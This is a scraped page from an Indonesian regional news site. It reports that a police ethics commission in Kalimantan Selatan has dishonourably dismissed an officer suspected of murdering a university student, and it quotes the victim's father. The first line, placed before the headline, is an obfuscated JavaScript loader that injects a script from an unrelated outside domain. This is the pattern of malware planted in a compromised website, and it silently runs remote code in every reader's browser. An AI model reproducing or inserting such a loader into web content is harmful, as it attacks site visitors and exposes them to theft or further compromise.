(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tok! Bripda MS Dipecat dari Anggota Polri


KANALKALIMANTAN.COM, BANJARBARU – Ketok palu majelis sidang Komisi Kode Etik Polda Kalimantan Selatan memutuskan Pemberhentian Tidak Dengan Hormat (PTDH) terhadap tersangka pembunuhan mahasiswi Universitas Lambung Mangkurat (ULM), Senin (29/10/2025) siang.

Di persidangan yang berlangsung di aula Markas Kepolisian Resor Banjarbaru, terduga pelanggar Muhammad Seili alias MS sudah tidak menyandang jabatan sebagai Banit 24 Dalmas Sat Samapta Polres Banjarbaru berpangkat Bripda.

Ketua Sidang Komisi Kode Etik, AKBP Budi Santosa memutuskan dan menetapkan MS secara sah dan meyakinkan melanggar kode etik profesi dan kode etik Polri.

Baca juga: Bripka MS Sidang Kode Etik, Diancam Pemberhentian dari Anggota Polri

Putusan resmi diketok Ketua beserta Wakil dan Anggota Majelis mendengarkan fakta-fakta persidangan, yang disampaikan penuntut, empat orang saksi anggota Sat Reskrim Polres Banjarbaru, serta keterangan terduga pelanggar sendiri.

“Memutuskan, menetapkan nama Muhammad Seili, pangkat NRP 305040219, jabatan Banit 24 Dalmas Samapta Polres Banjarbaru terbukti secara sah dan meyakinkan melanggar,” ujar Ketua Sidang Komisi Kode Etik, AKBP Budi Santosa dalam sidang komisi kode etik yang diselenggarakan terbuka untuk umum.

Ketua Majelis Sidang Kode Etik menyebutkan MS melanggar Pasal 13 Peraturan Pemerintah (PP)Republik Indonesia Nomor 1 Tahun 2003 tentang pemberhentian anggota Polri, Pasal 5 Ayat (1) Huruf P, Pasal 8 huruf C Angka 1, Pasal 8 huruf C Angka 2, Pasal 8 huruf C Angka 3, dan Pasal 13 huruf R semuanya termuat dalam Perpol 7 Tahun 2022 tentang Kode Etik Profesi dan Kode Etik Polri.

Baca juga: Kalsel Banjir Besar, Kejahatan Ekologis dari Pemangku Kebijakan

Ayat kedua putusan tersebut menjatuhkan terhadap MS berupa sanksi bersifat etika, yaitu perilaku pelanggar dinyatakan sebagai perbuatan tercela.

“Dan sanksi kedua bersifat administratif, yaitu pemberhentian tidak dengan hormat atau PTDH dari dinas Kepolisian,” tambahnya.

Di sisi lain Sarmani, ayah dari Zahra Dilla mempercayakan seluruh proses hukum yang diberikan penegak hukum kepada MS. Dirinya pun mengharapkan hukuman maksimal diberikan kepada MS.

Baca juga: Dahsyat! Jalan Santai Batfest Diikuti 30 Ribu Peserta, Hadiah dari 100 Menjadi 200 Paket Umroh

“Sudah sesuai harapan untuk pengadilan etiknya, yang penting sesuai dengan hukum yang berlaku di Indonesia dan dihukum seadil-adilnya,” tandas Sarmani. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

9 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

10 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

15 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

17 jam ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

1 hari ago

PLN UP2B Kalbar Siaga 24 Jam Jaga Keandalan Listrik Selama Nataru

KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More

1 hari ago

This website uses cookies.